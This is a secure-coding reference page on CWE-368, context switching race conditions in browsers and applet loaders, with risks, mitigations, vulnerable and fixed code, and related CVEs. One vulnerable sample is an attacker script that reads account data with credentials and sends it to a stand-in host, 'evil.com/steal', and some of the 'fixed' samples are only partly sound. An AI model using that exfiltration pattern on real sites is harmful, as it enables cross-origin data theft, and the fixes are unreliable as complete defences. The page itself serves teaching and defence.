Context Switching Race Condition

Description

Context Switching Race Condition is a vulnerability that occurs when a product performs non-atomic actions while switching between security contexts, creating a race condition that allows attackers to modify behavior during the transition. This commonly occurs in web browsers when transitioning between trusted and untrusted domains, where actions may execute with misaligned trust levels - either code from an untrusted domain executing with trusted privileges, or trusted code interacting with untrusted content. The vulnerability exploits the gap between when a context switch begins and when it completes.

Risk

Context switching race conditions in browsers can lead to cross-domain data theft, session hijacking, and security bypass. When JavaScript executes during a page transition, it may run in the wrong security context, enabling cross-site scripting-like attacks. Address bar spoofing occurs when the URL updates before or after the actual security context changes, deceiving users about which site they're interacting with. Applet or plugin loading during page transitions can cause use-after-free vulnerabilities. These attacks undermine the same-origin policy and trust indicators that users rely on to make security decisions.

Solution

Ensure security context transitions are atomic and complete before allowing any code execution or user interaction. Update trust indicators (address bar, SSL indicators) only after the new context is fully established. Prevent script execution during page transitions. Implement proper isolation between security contexts so that pending operations from the old context cannot affect the new one. Use process isolation for different security contexts where possible. Validate the security context before every sensitive operation, not just at page load.

Common Consequences

ImpactDetails
IntegrityScope: Integrity

Attackers can modify application data by executing actions in the wrong security context.
ConfidentialityScope: Confidentiality

Cross-domain data access enables theft of sensitive information from other origins.

Example Code

Vulnerable Code

// Vulnerable: Actions during page transition
// Attacker's page at evil.com

window.onbeforeunload = function() {
    // Vulnerable: Code runs during transition to bank.com
    // May execute in bank.com's context depending on timing
    fetch('/api/account', { credentials: 'include' })
        .then(r => r.json())
        .then(data => {
            // Attempt to exfiltrate data
            navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
        });
};

// Navigate to bank while onbeforeunload runs
location.href = 'https://bank.com';
// Vulnerable: URL bar spoofing via race condition
// Page loads content before URL updates

function vulnerableNavigate(url) {
    // Update URL immediately
    history.pushState(null, '', url);

    // Content loads later - race window for spoofing
    fetch(url)
        .then(response => response.text())
        .then(html => {
            document.body.innerHTML = html;
        });

    // User sees legitimate URL but content may be attacker-controlled
}
// Vulnerable: Context switch in applet loading
public class VulnerableAppletLoader {

    public void loadApplet(String url, SecurityContext targetContext) {
        // Begin context switch
        SecurityContext oldContext = SecurityContext.current();

        // Vulnerable: Applet starts loading before context is set
        Applet applet = downloadApplet(url);

        // Race: Applet code may execute here with old context
        SecurityContext.setCurrent(targetContext);

        // Initialize applet in new context
        applet.init();
    }
}

Fixed Code

// Fixed: Complete context switch before any execution
class SecureNavigator {
    async navigate(url) {
        // Fixed: Disable all scripts before transition
        document.querySelectorAll('script').forEach(s => s.remove());

        // Fixed: Block new script execution
        const csp = document.createElement('meta');
        csp.httpEquiv = 'Content-Security-Policy';
        csp.content = "script-src 'none'";
        document.head.appendChild(csp);

        // Fixed: Clear sensitive data before navigation
        this.clearSensitiveState();

        // Fixed: Navigate with full page replacement
        window.location.replace(url);
    }

    clearSensitiveState() {
        // Clear cookies for current domain
        // Clear localStorage/sessionStorage
        // Cancel pending requests
    }
}
// Fixed: Atomic URL and content update
async function secureNavigate(url) {
    // Fixed: Load content first, update URL only after validation
    try {
        const response = await fetch(url);
        const html = await response.text();

        // Fixed: Verify response origin matches requested URL
        if (new URL(response.url).origin !== new URL(url).origin) {
            throw new Error('Unexpected redirect');
        }

        // Fixed: Update content and URL atomically
        document.open();
        document.write(html);
        document.close();
        history.replaceState(null, '', url);

    } catch (error) {
        // Fixed: On failure, don't update URL
        console.error('Navigation failed:', error);
    }
}
// Fixed: Atomic context switch
public class SecureAppletLoader {

    public void loadApplet(String url, SecurityContext targetContext) {
        // Fixed: Acquire lock for context switch
        synchronized (SecurityContext.class) {
            // Fixed: Switch context BEFORE loading
            SecurityContext oldContext = SecurityContext.current();
            SecurityContext.setCurrent(targetContext);

            try {
                // Fixed: Download and init in correct context
                Applet applet = downloadApplet(url);
                applet.init();
            } catch (Exception e) {
                // Fixed: Restore context on failure
                SecurityContext.setCurrent(oldContext);
                throw e;
            }
        }
    }
}

CVE Examples

  • CVE-2009-1837 — Race condition during applet loading led to use-after-free.
  • CVE-2004-2260 — Address bar spoofing through update timing.
  • CVE-2004-0191 — JavaScript executed in wrong domain context.

References

  1. MITRE Corporation. "CWE-368: Context Switching Race Condition." https://cwe.mitre.org/data/definitions/368.html
  2. OWASP. "Clickjacking Defense Cheat Sheet." https://cheatsheetseries.owasp.org/